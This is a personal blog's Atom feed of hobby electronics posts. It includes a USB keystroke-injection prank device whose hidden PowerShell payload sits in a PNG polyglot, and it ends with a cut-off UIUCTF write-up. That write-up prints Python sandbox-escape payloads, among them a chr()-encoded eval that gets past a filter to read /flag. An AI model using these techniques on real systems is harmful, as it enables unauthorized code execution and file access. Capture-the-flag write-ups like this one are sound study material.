<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xml" href="https://karmanyaah.malhotra.cc/feed.xslt.xml"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.1">Jekyll</generator><link href="https://karmanyaah.malhotra.cc/feed.xml" rel="self" type="application/atom+xml" /><link href="https://karmanyaah.malhotra.cc/" rel="alternate" type="text/html" /><updated>2023-10-09T13:05:23-05:00</updated><id>https://karmanyaah.malhotra.cc/feed.xml</id><title type="html">Karmanyaah Malhotra</title><subtitle>My personal website bc y not</subtitle><author><name>Karmanyaah Malhotra</name></author><entry><title type="html">Hot Dog: The Toy Guitar Flamethrower</title><link href="https://karmanyaah.malhotra.cc/projects/2023/09/hotdog/" rel="alternate" type="text/html" title="Hot Dog: The Toy Guitar Flamethrower" /><published>2023-09-15T02:25:00-05:00</published><updated>2023-10-08T21:11:26-05:00</updated><id>https://karmanyaah.malhotra.cc/projects/2023/09/hotdog</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/projects/2023/09/hotdog/"><![CDATA[<p>Meet Hot Dog, the programmable flamethrower we stuck inside a toy guitar in 42 (very stressful) hours.
<img src="/big_files/2023-09-15/outernet-125.jpg" alt="" /></p>

<p>Demo Video:</p>
<video controls=""><source src="/big_files/2023-09-15/90demo.mp4" type="video/mp4" /></video>

<p>Explanation Video:</p>
<video width="100%" controls=""><source src="/big_files/2023-09-15/explanation.mp4" type="video/mp4" /></video>

<ul>
  <li><a href="/big_files/2023-09-15/"><strong>More pictures and videos</strong></a></li>
  <li>Additionally, check out <a href="https://www.youtube.com/watch?v=O1s5HqSqKi0">the documentary for the Outernet hackathon</a>, I like to call it Outerdoc.</li>
</ul>

<p>Full edited video coming soon™</p>

<p>Hack Club’s summer hackathon in VT saw people from all over the world work together towards the theme: to “make others laugh”. I’m pretty sure Hot Dog was a successful part of that.</p>

<p>This picture is of the circuit I put together and programmed, which combines everyone’s work on the spray mechanism, taser, guitar button reading, and battery (explained further in the video).</p>

<p><img src="/big_files/2023-09-15/circuit.png" alt="" /></p>

<p>Here’s the <a href="https://github.com/karmanyaahm/outernet_hot_dog/">source code on GitHub</a>, although beware, it’s hackathon quality code.</p>

<p>TODO: add more info from video in text form, post schematics, more pictures??</p>

<h2 id="notes">Notes</h2>
<p>Made by (L to R): yours truly (Karmanyaah Malhotra), Diego Abadie, (the amazing lead) Kevin Yang, Tinu Vanapamula, and Roshan Karim</p>

<p><img src="/big_files/2023-09-15/99team.jpg" alt="" /></p>

<p>I feel insanely lucky to have been part of a team where we achieved this crazy feat in such a short period of time, and none of this would’ve been possible without every single person’s contributions and everyone who organized Outernet! (Including the people that brought the tasers. Taser games are incredibly cool too!)</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="projects" /><category term="hardware" /><category term="arduino" /><category term="electronics" /><category term="fire" /><category term="hackathon" /><category term="entertainment" /><summary type="html"><![CDATA[Meet Hot Dog, the programmable flamethrower we stuck inside a toy guitar in 42 (very stressful) hours.]]></summary></entry><entry><title type="html">Project SparkleTilt: My Longhorn LED Level PCB</title><link href="https://karmanyaah.malhotra.cc/projects/2023/09/sparkletilt/" rel="alternate" type="text/html" title="Project SparkleTilt: My Longhorn LED Level PCB" /><published>2023-09-15T00:25:00-05:00</published><updated>2023-10-08T21:11:26-05:00</updated><id>https://karmanyaah.malhotra.cc/projects/2023/09/sparkletilt</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/projects/2023/09/sparkletilt/"><![CDATA[<p>I made a Longhorn shaped level with Addressable RGB LEDs (Neopixels) and it’s also an Arduino!!!!
<img src="/projects/2023/09/sparkletilt//1.webp" alt="" /></p>

<p>This video demos all the features of this board:</p>
<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/px2V8bZMeLI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>

<p><img src="./2.webp" alt="" /></p>

<p><img src="https://cloud-596d7k8lu-hack-club-bot.vercel.app/8longhorn_leds.svg" alt="" />
<img src="https://cloud-596d7k8lu-hack-club-bot.vercel.app/5longhorn_leds-DEVICES_PAGE.svg" alt="" />
<img src="https://cloud-596d7k8lu-hack-club-bot.vercel.app/4longhorn_leds-DEVICES_PAGE-LED-stick0.svg" alt="" /></p>

<p>The reasoning and instructions for making this board can be found on this workshop I wrote on how to make this board: <a href="https://jams.hackclub.com/batches/sparkletilt-pcb/">https://jams.hackclub.com/batches/sparkletilt-pcb/</a></p>

<p>TODO: add more info from video in text form, post schematics and source code on GitHub??</p>

<h2 id="notes">Notes</h2>

<p>None of this would’ve been possible without the following individuals and groups. Huge thanks to:</p>
<ul>
  <li>TODO: Code on GitHub, link to libraries</li>
  <li>Hugo Hu for his Corgi Arduino design</li>
  <li>Hack Club for inspiring and funding this</li>
  <li>Kognise for the cool header photo editing</li>
</ul>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="projects" /><category term="hardware" /><category term="arduino" /><category term="pcb" /><summary type="html"><![CDATA[I made a Longhorn shaped level with Addressable RGB LEDs (Neopixels) and it’s also an Arduino!!!!]]></summary></entry><entry><title type="html">AirGapped TOTP</title><link href="https://karmanyaah.malhotra.cc/projects/2023/08/totpv2/" rel="alternate" type="text/html" title="AirGapped TOTP" /><published>2023-08-11T04:25:00-05:00</published><updated>2023-09-15T05:57:53-05:00</updated><id>https://karmanyaah.malhotra.cc/projects/2023/08/totpv2</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/projects/2023/08/totpv2/"><![CDATA[<p>Isn’t keeping your 2FA codes connected to the internet kinda insecure? In today’s episode of lets overcomplicate established procedures for marginal security improvements, I made an e-ink based, battery operated TOTP device. It’s a dedicated device to do TOTP, so instead of having to store them on your phone (where they can be remotely attacked), you store them in your bag (where they can be stolen 😄). However, since OTPs are the “something you have”, that’s alright, because random theives won’t have your passwords.
<img src="/projects/2023/08/totpv2//1.webp" alt="" /></p>

<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/7Y9NhbLoITg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>
<p><sub>Is the video title catchy enough?</sub></p>

<p>It uses Pimoroni’s Badger2040 board, which is an awesome PCB that integrates an E-ink display and RP2040 microcontroller.</p>

<p><img src="./2.webp" alt="" /></p>

<p>On the back, there’s a DS3231 with wires soldered to it, going to the JST-SH for I2C and a JST-PH going to the raw battery. The RP2040 gives power to the interface part of the RTC through the I2C wires. And I designed a case to protect the wiring.</p>

<p><img src="./3.webp" alt="" /></p>

<p>More pictures, 3D files, and <a href="https://github.com/karmanyaahm/totp_device_v2">code on GitHub</a>.</p>

<p>The UX code is in the second half of <code class="language-plaintext highlighter-rouge">totp/__init__.py</code>. If you connect to the Badger using <code class="language-plaintext highlighter-rouge">rshell</code> or <code class="language-plaintext highlighter-rouge">thonny</code>, you can run <code class="language-plaintext highlighter-rouge">set_time.py</code> to save your computer’s time to the RTC. The <code class="language-plaintext highlighter-rouge">otp.json</code> file allows you to input your codes.</p>

<p><img src="./4.webp" alt="" /></p>

<p>So why did this simple take me 2 years and 11 months to finish? Well, the lack of access to a 3D printer and letting perfect be the enemy of progress. While the badger is an inconvenient form factor for this task - something keychain sized would be better - I have been using it since I printed the case at school in April and it was easy to build and works just fine. I spent a whole bunch of time on <a href="https://www.youtube.com/watch?v=-DAnVcRW7Qk">this v1</a>, but just gave up for all of 2021 because it was too much of a pain to build.</p>

<p>But, this project is still not finished. To achieve my ideal form factor, I’m planning on building v3 with a <a href="https://hackaday.io/project/184703-gamelight-a-keychain-size-game-console-with-a-led">Game&amp;Light wrist watch</a> inspired custom PCB. More to come soon<sup>TM</sup>.</p>

<h2 id="acknowledgements">Acknowledgements</h2>

<p>At its core this project just ties a other people’s serious code together. Huge thanks to:</p>
<ul>
  <li>Pimoroni for the Badger2040, BadgerOS, and associated e-ink libraries.</li>
  <li><a href="https://github.com/eddmann/pico-2fa-totp">Edd Mann’s Pico 2FA TOTP</a> library for doing all the actual TOTP computations in MicroPython in <code class="language-plaintext highlighter-rouge">./totp/</code>.</li>
  <li><a href="https://github.com/peterhinch/micropython-samples/blob/master/DS3231/ds3231_port.py">Peter Hinch’s DS3231 Driver</a> in <code class="language-plaintext highlighter-rouge">./rtc.py</code>.</li>
  <li>My 3D Printed case was inspired by <a href="https://www.thingiverse.com/thing:5997974">https://www.thingiverse.com/thing:5997974</a> and <a href="https://www.thingiverse.com/thing:5271558">https://www.thingiverse.com/thing:5271558</a> and used <a href="https://grabcad.com/library/hw-84-ds3231-real-time-clock-1">this DS3231 model</a> for sizing.</li>
</ul>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="projects" /><category term="hardware" /><category term="python" /><category term="security" /><summary type="html"><![CDATA[Isn’t keeping your 2FA codes connected to the internet kinda insecure? In today’s episode of lets overcomplicate established procedures for marginal security improvements, I made an e-ink based, battery operated TOTP device. It’s a dedicated device to do TOTP, so instead of having to store them on your phone (where they can be remotely attacked), you store them in your bag (where they can be stolen 😄). However, since OTPs are the “something you have”, that’s alright, because random theives won’t have your passwords.]]></summary></entry><entry><title type="html">Making an Addressable LED Ampli-Tie*</title><link href="https://karmanyaah.malhotra.cc/projects/2023/04/amplitie/" rel="alternate" type="text/html" title="Making an Addressable LED Ampli-Tie*" /><published>2023-04-29T20:00:00-05:00</published><updated>2023-07-17T10:39:38-05:00</updated><id>https://karmanyaah.malhotra.cc/projects/2023/04/amplitie</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/projects/2023/04/amplitie/"><![CDATA[<p>The microphone part doesn’t fully work yet, but here’s my Flora NeoPixel Tie.</p>

<h3 id="idea">Idea</h3>

<p>I had several Flora NeoPixels and conductive thread lying around since a previous project, so on Feb 19, I decided to make an Ampli-Tie for Prom (March 25), which meant that unlike most, this project had a hard deadline <sub><a href="https://hackclub.slack.com/archives/CNMU9L92Q/p1676982774895349?thread_ts=1676956733.424689&amp;cid=CNMU9L92Q">HC</a></sub>.</p>

<p>Parts:</p>
<ol>
  <li>Flora NeoPixels (13)</li>
  <li>Adafruit Conductive Thread (2-ply, ymmv)</li>
  <li>Microcontroller - I used a Seeed Xiao nRF52840 because of integrated BLE</li>
  <li>A microphone (I used a generic MAX4466-based mic, wouldn’t recommend)</li>
  <li>This really nice silicone stranded <a href="https://www.amazon.com/dp/B099W8HH6J">ribbon cable from Amazon</a></li>
  <li>Black Paint/Paint Pen</li>
  <li>General soldering supplies (Tweezers, Helping Hands, Solder, Iron)</li>
  <li>General sewing supplies (Black string, Fray Check/Super Glue, Needles)</li>
  <li>And a tie, of course</li>
</ol>

<h3 id="preparation">Preparation</h3>

<p>Fast forward a month to March 18.</p>

<p>I started my personal engineering notebook (thanks VRC). Of all my attempts at formalizing project documentation, I have a good feeling about this one. What’s better than a simple paper notebook and pencil?</p>

<p>As I had previously discovered, Flora NeoPixels are crazy bright. When you run them at 100% brightness they are impossible to stare at. This is great because running them at 10% brightness is more than enough for a dark hall, and instead of 60mA per pixel, you now use less than 6mA per pixel (assuming all three colors are on at once).</p>

<p>My goal was to stay under 100mA so I could reasonably power it through whatever internal processing happened going from <code class="language-plaintext highlighter-rouge">USB +5V -&gt; VCC pin</code> on the microcontroller board.</p>

<p><img src="1.webp" alt="" width="50%" />
After a bit of testing, 16 NeoPixels + the microcontroller only used 62mA at 10% duty cycle with all RGB LEDs on.</p>

<p><img src="2.webp" alt="" width="50%" />
Some placement tests showed me that 13 pixels over 39cm should be perfect. Minimizing pixels minimizes build time and power consumption.</p>

<p><img src="3.webp" alt="" width="50%" />
Then, I harvested the pixels from a nonfunctional project and scraped off as much superglue as I could.</p>

<h3 id="sewing">Sewing</h3>

<p><img src="4.webp" alt="" width="50%" />
After tearing open the tie, it was just hours and hours of sewing for three days straight. Terminating stitches is the hardest part, and you need to do that between every single LED,</p>

<p><img src="5.webp" alt="" width="50%" />
So there was sewing</p>

<p><img src="6.webp" alt="" />
and testing</p>

<p><img src="7.webp" alt="" width="50%" />
and sewing</p>

<p><img src="8.webp" alt="" /></p>

<p>and more time spent sewing and testing the connections than the entire ideation, prototype, and wearing process (if this were YouTube this would be the build montage). Check out <a href="https://learn.adafruit.com/conductive-thread/overview">Adafruit’s guide</a> on sewing with Flora for more details.</p>

<p><img src="9.webp" alt="" width="50%" /></p>

<p>Because I didn’t want to rip apart the tie, I encountered a big obstacle, the name tag. Here was where the silicone wire shined. Connecting ~ LED 3 to ~LED 10 created a “highway” of current, not only bypassing a nearly impossible stitch but also reducing total resistance by letting current bypass huge chunks of the high-resistance conductive thread.</p>

<p><img src="10.webp" alt="" width="50%" /></p>

<p>Finally, after soldering on the microcontroller, I had the hardware done! But did it work?</p>

<h3 id="code">Code</h3>

<p>I pulled together some code from the various Adafruit tutorials, reusing the same core as their Ampli-Tie. That handled all the Bluetooth communications and core effects. The <code class="language-plaintext highlighter-rouge">audiobusio</code> mechanisms from the original Adafruit code weren’t working with the nRF52840 board, so I hacked together a simple ADC-based Mic Reader in under hours. After starting this up, I realized that the mic was only outputting 3.6V all the time, being the last day, I just cut off the painted mic and replaced it with an unpainted one that I could hide under the collar. Still, when at T-2 hours the audio graph didn’t work, I decided to move on with just static colors and patterns.</p>

<p><strong>The final code can be found at <a href="https://github.com/karmanyaahm/neopixels/blob/main/amplitie/code.py">github.com/karmanyaahm/neopixels</a>.</strong></p>

<p><img src="11.webp" alt="" width="45%" /> <img src="11.5.webp" alt="" width="40%" /></p>

<p>Turns out, with a pretty Cyan running at 6% brightness (more than enough for an accessory in the center of one’s field of view), the whole thing consumed under 25mA at 5V (125mW). That is enough to last 60 hours using my 5000mAh power bank (assuming 3V from the battery and 50% efficiency) - I could easily downsize my power bank … or … ADD MORE LIGHTS! (Soon<sup>TM</sup>)</p>

<p><img src="12.webp" alt="" />
Overall, the Bluefruit app’s default cyan serendipitously complimented the rest of my Navy Blue outfit, and the tie was a great party trick - literally.</p>

<p>Here’s a video of me controlling it:</p>
<iframe width="100%" height="720" src="https://www.youtube-nocookie.com/embed/9Y6ZV2y4E2Y" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="projects" /><category term="hardware" /><category term="wearables" /><category term="sewing" /><summary type="html"><![CDATA[The microphone part doesn’t fully work yet, but here’s my Flora NeoPixel Tie.]]></summary></entry><entry><title type="html">Project Oreo: Cheap USB Rubber Ducky [Part 1]</title><link href="https://karmanyaah.malhotra.cc/tech/2022/12/rubber-ducky1/" rel="alternate" type="text/html" title="Project Oreo: Cheap USB Rubber Ducky [Part 1]" /><published>2022-12-27T01:30:00-06:00</published><updated>2023-07-17T10:39:38-05:00</updated><id>https://karmanyaah.malhotra.cc/tech/2022/12/rubber-ducky1</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/tech/2022/12/rubber-ducky1/"><![CDATA[<p>OK what’s a cooler way to prank people than to change their desktop background into an absurd image? It’s even cooler if this process involves unusual tech.</p>

<p><a href="https://hackaday.com/tag/rubber-ducky/">Rubber Duckies are cool</a></p>

<p>Demo:</p>
<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/FbiJCnHBr70" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>Find my code <a href="https://github.com/karmanyaahm/rubber_ducky/tree/v1/v2win">on GitHub</a> (v1 is code as of writing this blog post).</p>

<p>This is a quick summary of my process, I’ll update this post w/ more details later.</p>

<p>Take a ~$2 microcontroller in a USB form factor, the Digispark, program it with a virtual (bit-bang) USB stack to emulate a Keyboard (<a href="https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkUSB/DigiUSB.cpp">already done by them</a>). Add a proper USB jack and a 3d printed case (thanks to my friend Jaxzog for doing the 3d work!). And you get a very adept and flexible but cheap prank device.</p>

<p><img src="ducky.webp" alt="An image of the device described above" /></p>

<p>It is also educational, demonstrating the hazards of leaving computers unattended and unlocked. This just changes your desktop background, but it is easy to imagine something that steals private data.</p>

<p>I have been working on Project Oreo since the start of the 2022-23 school year. There is still a lot more to be done to optimize this.</p>
<ul>
  <li>OS Detection (fingerprint the order of USB packets to detect which OS is connected, currently, one device only does one OS)</li>
  <li>A funnier image</li>
  <li>Faster, more efficient keystroke sequences</li>
</ul>

<p>Thanks to Jaxzog for the case design and help with creating keystroke sequences.</p>
<h2 id="cool-tech">Cool Tech</h2>
<h4 id="polyglots">Polyglots</h4>

<p>For the Windows version, I use file format polyglots to hide my powershell script payload. A polyglot is one file that is two different things at once depending on the point of view. My background image contains the background changing script in a header comment, so when read by powershell, it is a script, but when read by a PNG image parser, it is an image.</p>
<h4 id="ipfs">IPFS</h4>

<p>The image is hosted on the content-addressed IPFS, so the Windows script can loop through multiple servers in case one is blocked, and will end up getting the same image.</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="tech" /><category term="code" /><category term="hacking" /><summary type="html"><![CDATA[OK what’s a cooler way to prank people than to change their desktop background into an absurd image? It’s even cooler if this process involves unusual tech.]]></summary></entry><entry><title type="html">I went viral! The UnifiedPush - F-Droid blog post</title><link href="https://karmanyaah.malhotra.cc/tech/2022/12/fdroid-up/" rel="alternate" type="text/html" title="I went viral! The UnifiedPush - F-Droid blog post" /><published>2022-12-27T00:30:00-06:00</published><updated>2023-07-17T10:39:38-05:00</updated><id>https://karmanyaah.malhotra.cc/tech/2022/12/fdroid-up</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/tech/2022/12/fdroid-up/"><![CDATA[<p>Go check my guest blog post on the F-Droid blog! <a href="https://f-droid.org/en/2022/12/18/unifiedpush.html">https://f-droid.org/en/2022/12/18/unifiedpush.html</a></p>

<p>I have been working on <a href="https://unifiedpush.org">UnifiedPush</a> for the past 2 years, and surprisingly never wrote about it here.</p>

<p>I was pleasantly surprised by the attention we got, with <a href="https://news.ycombinator.com/item?id=34094497">700+ upvotes and lots of discussion on Hacker News</a>, <a href="https://old.reddit.com/submit?url=https%3A%2F%2Ff-droid.org%2F2022%2F12%2F18%2Funifiedpush.html">800+ combined upvotes on Reddit</a>, <a href="https://fosstodon.org/@unifiedpush/109558189004184800">many boosts on Fedi</a> and lots of people joining our chat to ask for help w/ UP.</p>

<p>I drafted and co-ordinated w/ F-Droid to <a href="https://gitlab.com/fdroid/fdroid-website/-/merge_requests/890">publish</a> this. I had editing help from these awesome folks:</p>

<ul>
  <li>binwiederhier (developer of <a href="https://ntfy.sh">ntfy.sh</a>)</li>
  <li><a href="https://github.com/MayeulC">MayeulC</a> - UnifiedPush contributor</li>
  <li><a href="https://github.com/p1gp1g/">S1m</a> - Of course, creator of UnifiedPush</li>
</ul>

<p>And my friend Jaxzog.</p>

<p>In the process, I made this fancy diagram:</p>

<p><img src="animation-flow.svg" alt="" /></p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="tech" /><category term="code" /><category term="self_hosting" /><summary type="html"><![CDATA[Go check my guest blog post on the F-Droid blog! https://f-droid.org/en/2022/12/18/unifiedpush.html]]></summary></entry><entry><title type="html">The counterintuitive physics behind vehicle following distances</title><link href="https://karmanyaah.malhotra.cc/puzzles/2022/11/integral-surprise/" rel="alternate" type="text/html" title="The counterintuitive physics behind vehicle following distances" /><published>2022-11-25T01:00:00-06:00</published><updated>2023-07-17T10:39:38-05:00</updated><id>https://karmanyaah.malhotra.cc/puzzles/2022/11/integral-surprise</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/puzzles/2022/11/integral-surprise/"><![CDATA[<p>Someone recently asked me, “What is something surprising or amusing you learned recently?” I solved a puzzle that is counterintuitive on its face but makes total sense after thinking it through.</p>

<p>So, since I started driving recently, I noticed that if back-to-back cars have equal acceleration, they naturally create a following distance based on the following driver’s reaction time. Is this real? Kinematics and integrals to the rescue!</p>

<p><img src="1.png.webp" alt="" /></p>

<p>So, first, let’s pretend that we have two cars with following distance \(d_f = 0\) at a traffic light.
At t=0, the lights turn green, and the velocity of both cars is 0. Velocity-time graphs are the key here because they show both distance and acceleration as area and slope, respectively.</p>

<p><img src="2.png.webp" alt="" /></p>

<p>At t=1 the front car starts accelerating at a constant acceleraiton of \(1m/s^2\), and at t=2, trying to match the front car, the back car does the same.</p>

<p><img src="3.png.webp" alt="" /></p>

<p>Then, let’s say, at t=4, at 3m/s, the front stops accelerating, and at t=5, after reaching the same velocity, the back stops accelerating.</p>

<p><img src="4.png.webp" alt="" /></p>

<p>Throughout the period when they were both accelerating, they had a velocity differential <strong>relative to one another</strong> of 1m/s.
<em>That</em> is where they gain the following distance. Since <strong>acceleration is constant, but velocity is not equal</strong>.</p>

<p><img src="5.png.webp" alt="" /></p>

<p>The area between those two curves, \(d_f = \int v_b - v_g \, dt\) is the following distance, the parallelogram, in this case, is equal to the total velocity times the reaction time, \(3m/s * 1s = 3m\).</p>

<p><img src="6.png.webp" alt="" />
<img src="7.png.webp" alt="" /></p>

<p>The same phenomenon applies when braking, where as two drivers push on the break equally hard, the distance between them gradually decreases as they come to a stop.</p>

<p><img src="8.png.webp" alt="" /></p>

<p>Looking at the distance-time graph, which starts quadratic and then settles into linear, explains this phenomenon even better.</p>

<p><img src="9.png.webp" alt="" /></p>

<!--CGP Grey [unhelpfully points out](https://www.youtube.com/watch?v=iHzzSao6ypE) that stopping monkeys from driving cars, and having coordinated acceleration would solve all traffic problems. No. It wouldn't. Accelerating at the same time means leaving no following gap, which, unless cars are perfect and 100% reliable, can be disastrous at high speeds.

P.S. Yes I know that it might be acceptable to accelerate simultaeneously out of an intersection and then leave some space later, there are always more complex algorithms that can come up with reasonable compromises between safety and efficiency.

P.-->
<p>P.S. Humans do not drive with constant acceleration and instead have complex feedback loops. This is simply a high-level overview of this pattern in an ideal universe.</p>]]></content><author><name>Karmanyaah Malhotra</name></author><category term="puzzles" /><category term="physics" /><category term="kinematics" /><category term="mind_bending" /><summary type="html"><![CDATA[Someone recently asked me, “What is something surprising or amusing you learned recently?” I solved a puzzle that is counterintuitive on its face but makes total sense after thinking it through.]]></summary></entry><entry><title type="html">UIUCTF 2022 Writeups</title><link href="https://karmanyaah.malhotra.cc/puzzles/2022/08/uiuctf/" rel="alternate" type="text/html" title="UIUCTF 2022 Writeups" /><published>2022-08-23T09:00:00-05:00</published><updated>2023-07-17T10:39:38-05:00</updated><id>https://karmanyaah.malhotra.cc/puzzles/2022/08/uiuctf</id><content type="html" xml:base="https://karmanyaah.malhotra.cc/puzzles/2022/08/uiuctf/"><![CDATA[<p>Some challenges from another fun CTF I did this summer…</p>

<p><strong>If you’d like to follow along</strong>, you can find the source code and prompts for the challenges <a href="https://github.com/sigpwny/UIUCTF-2022-Public/">on the UIUC sigpwny GitHub</a>.</p>

<h1 id="jail">Jail</h1>
<p>Jails refer to shells or execution environments that are restricted in some way, to prevent unauthorized actions like reading sensitive files or accessing other network services. Jail CTF challenges are about exploiting a bug in the jail configuration that lets you read sensitive files (the flag).</p>

<h2 id="safepy">safepy</h2>
<p>This is simply an evaluating the user input with a couple of restrictions.
I tried reading the code with:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"main.py"</span><span class="p">).</span><span class="n">read</span><span class="p">())</span> <span class="ow">or</span> <span class="n">x</span><span class="o">*</span><span class="n">x</span><span class="o">*</span><span class="n">x</span>
</code></pre></div></div>

<p>And, after a couple attempts at looking around the system with <code class="language-plaintext highlighter-rouge">__import__("os")</code>, I found the flag:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">).</span><span class="n">read</span><span class="p">())</span> <span class="ow">or</span> <span class="n">x</span><span class="o">*</span><span class="n">x</span><span class="o">*</span><span class="n">x</span>
</code></pre></div></div>

<p>I was testing and sending the payloads like this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'print(open("/flag").read()) or x*x*x'</span>| nc safepy.chal.uiuc.tf 1337 <span class="nt">-v</span>
</code></pre></div></div>

<h2 id="a-horse-with-no-names">A Horse with No Names</h2>

<p>The <a href="https://github.com/sigpwny/UIUCTF-2022-Public/blob/main/jail/a_horse_with_no_names/challenge/desert.py">source code</a> is provided for this challenge. I also know that  ‘A Horse with No Neighs’ was a challenge released to fix a unintended solution with this challenge.</p>

<p>The primary restriction on your execution payload is that you cannot have more than 4 consecutive letters at the beginning of the string. The difference between this challenge and <em>Neighs</em> is that in <em>Neighs</em> you cannot have 4 consecutive characters ever. The bug here was that they used <code class="language-plaintext highlighter-rouge">re.match</code> instead of <code class="language-plaintext highlighter-rouge">re.search</code>. Also, you can only have &lt;= 4 unique special characters.</p>

<p>It executes your filtered input using</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="nb">compile</span><span class="p">(</span><span class="n">horse</span><span class="p">,</span> <span class="s">"&lt;horse&gt;"</span><span class="p">,</span> <span class="s">"eval"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="n">co_names</span><span class="o">=</span><span class="p">()))</span>
</code></pre></div></div>

<p>I started debugging what <code class="language-plaintext highlighter-rouge">co_names</code> really meant. We can’t use anything that has a <code class="language-plaintext highlighter-rouge">co_name</code>, because it’s overwritten.</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">compile</span><span class="p">(</span><span class="s">'''print()  and __import__("os") + (lambda x: x)'''</span><span class="p">,</span> <span class="s">"&lt;horse&gt;"</span><span class="p">,</span><span class="s">"eval"</span><span class="p">).</span><span class="n">co_names</span>
</code></pre></div></div>

<p>Interestingly, both print and <code class="language-plaintext highlighter-rouge">__import__</code> have <code class="language-plaintext highlighter-rouge">co_names</code>, but <code class="language-plaintext highlighter-rouge">lambda</code> does not. Also, any  <code class="language-plaintext highlighter-rouge">co_name</code> within a function (the lambda context) does not count as a function. That means, you can execute code like<a href="#note1">*</a></p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">lambda</span><span class="p">:</span><span class="k">print</span><span class="p">(</span><span class="s">"hi"</span><span class="p">))()</span>
</code></pre></div></div>

<p>To read the flag, I attempt:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="k">lambda</span><span class="p">:</span><span class="nb">open</span><span class="p">(</span><span class="s">'/flag.txt'</span><span class="p">).</span><span class="n">read</span><span class="p">())()</span>
</code></pre></div></div>
<p>But running this reminded me of the special character limitation. This has 6: <code class="language-plaintext highlighter-rouge">(</code>,<code class="language-plaintext highlighter-rouge">)</code>,<code class="language-plaintext highlighter-rouge">:</code>,<code class="language-plaintext highlighter-rouge">'</code>,<code class="language-plaintext highlighter-rouge">/</code>,<code class="language-plaintext highlighter-rouge">.</code></p>

<p>I figured, if I could eval some sort of encoded string, I should be able to do this. This reminded me of ‘My First Calculator’ from BCACTF ‘22. After iterating through a ton of different possible options, I settled on using <code class="language-plaintext highlighter-rouge">chr</code>. That would leave me with the special characters <code class="language-plaintext highlighter-rouge">(</code>,<code class="language-plaintext highlighter-rouge">)</code>,<code class="language-plaintext highlighter-rouge">:</code> for just getting to the lambda, and <code class="language-plaintext highlighter-rouge">+</code> for joining together the <code class="language-plaintext highlighter-rouge">chr</code> outputs.</p>

<p>I can encode any arbitrary into the chr(decimal representation)+chr(next…) form by using this python loop</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ss</span> <span class="o">=</span> <span class="s">'''open('/flag.txt').read()'''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ss</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'chr(</span><span class="si">{</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="si">}</span><span class="s">)+'</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>
<p>Assembling to:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s</span> <span class="o">=</span> <span class="s">"(lambda:eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)))()"</span>
</code></pre></div></div>

<p>I put in that payload and got the flag!
.<br />
.<br />
.<br />
no
no I did not. I got out:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="s">'l'</span><span class="p">,</span> <span class="s">'n'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">,</span>  
